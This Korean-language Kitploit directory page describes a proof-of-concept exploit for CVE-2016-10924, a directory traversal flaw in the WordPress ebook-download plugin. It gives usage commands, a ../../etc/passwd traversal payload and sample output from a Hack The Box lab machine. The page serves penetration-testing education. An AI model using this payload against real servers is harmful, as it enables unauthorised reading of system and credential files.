Skip to content
KitploitKITPLOIT
도구블로그
Log in
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cve-2016-10924-POC — WordPress 플러그인 ebook-download(버전 < 1.2)에서 발견된 디렉터리 트래버설 취약점(CVE-2016-10924)에 대한 PoC(Proof-of-Concept) 익스플로잇 스크립트입니다. 이 취약점은 조작된 GET 요청을 통해 무단 파일 읽기를 허용합니다. | Kitploit
도구/GitHubGitHub/alealeluyah/cve-2016-10924-poc
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingLearning & Education
GitHubalealeluyah/cve-2016-10924-poc

cve-2016-10924-POC

WordPress 플러그인 ebook-download(버전 < 1.2)에서 발견된 디렉터리 트래버설 취약점(CVE-2016-10924)에 대한 PoC(Proof-of-Concept) 익스플로잇 스크립트입니다. 이 취약점은 조작된 GET 요청을 통해 무단 파일 읽기를 허용합니다.

저장소 보기
121년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2016-10924-POC

이 저장소에는 WordPress 플러그인 ebook-download (버전 < 1.2)에서 발견된 디렉터리 트래버설 취약점(CVE-2016-10924)에 대한 개념 증명 (PoC) 익스플로잇 스크립트가 포함되어 있습니다.

이 취약점은 조작된 GET 요청을 통해 인가되지 않은 파일 읽기를 허용합니다. 이 익스플로잇은 ebookdownloadurl이라는 매개변수를 사용하여 대상 서버의 디렉터리를 트래버설합니다.

설명

  • CVE-ID: CVE-2016-10924
  • 취약점 유형: 디렉터리 트래버설
  • 영향을 받는 구성 요소: WordPress용 ebook-download 플러그인 < 1.2
  • 영향: 원격 공격자는 ebookdownloadurl 매개변수의 파일 경로를 조작하여 /etc/passwd와 같은 기본 운영 체제의 임의 파일을 읽을 수 있습니다.

참고: 이 PoC는 교육 및 승인된 테스트 목적으로만 제공됩니다. 이 정보를 남용하면 법적 책임이 따를 수 있습니다.

요구 사항

  • Python 3.
  • requests 라이브러리 (pip install requests로 설치)

사용법

  1. 저장소 클론:

    git clone https://github.com/your-user/CVE-2016-10924-POC.git
    cd CVE-2016-10924-POC
    
  2. 의존성 설치:

    pip install requests
    
  3. 익스플로잇 실행:

    python3 cve-2016-10924.py "http://TARGET/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl="
    
  4. 읽을 파일 경로 지정: 스크립트를 실행하면 파일 경로를 입력하라는 메시지가 표시됩니다. 예를 들어:

    ../../../../../../../../../etc/passwd
    

    대상 환경의 웹 루트 위치에 따라 ../의 개수를 조정해야 할 수 있습니다.

  5. 종료:

    • 종료하려면 빈 프롬프트에서 exit, quit를 입력하거나 Enter를 누르세요.
    • Ctrl + C를 누르면 스크립트가 즉시 중지됩니다.

예시

저는 이 익스플로잇을 은퇴한 Hack The Box 머신 "Backdoor"에서 사용했습니다:

$ python3 cve-2016-10924.py "http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl="
[*] Enter file paths (e.g. ../../../../../etc/passwd). Type 'exit' to quit.

Enter File path: ../../../../../../../../../etc/passwd
[*] Target URL: http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../../../../../../../etc/passwd
[+] Status Code: 200
[+] File Content:
root:x:0:0:root:/root:/bin/bash
...

면책 조항

이 프로젝트는 전적으로 교육 및 합법적인 보안 테스트 목적으로만 제공됩니다.
명시적 허가 없이 테스트할 수 없는 시스템에서는 이 저장소의 정보나 스크립트를 사용하지 마십시오.
저자와 기여자는 이 도구로 인해 발생하는 오용이나 손해에 대해 책임지지 않습니다.

라이선스

이 프로젝트는 GNU 2.0 라이선스에 따라 라이선스가 부여됩니다. 자유롭게 사용하고 수정할 수 있지만 출처를 밝혀 주시기 바랍니다.


참조

  • NVD - CVE-2016-10924
  • WordPress Plugin ebook-download (취약한 버전 참조용)
도구 다운로드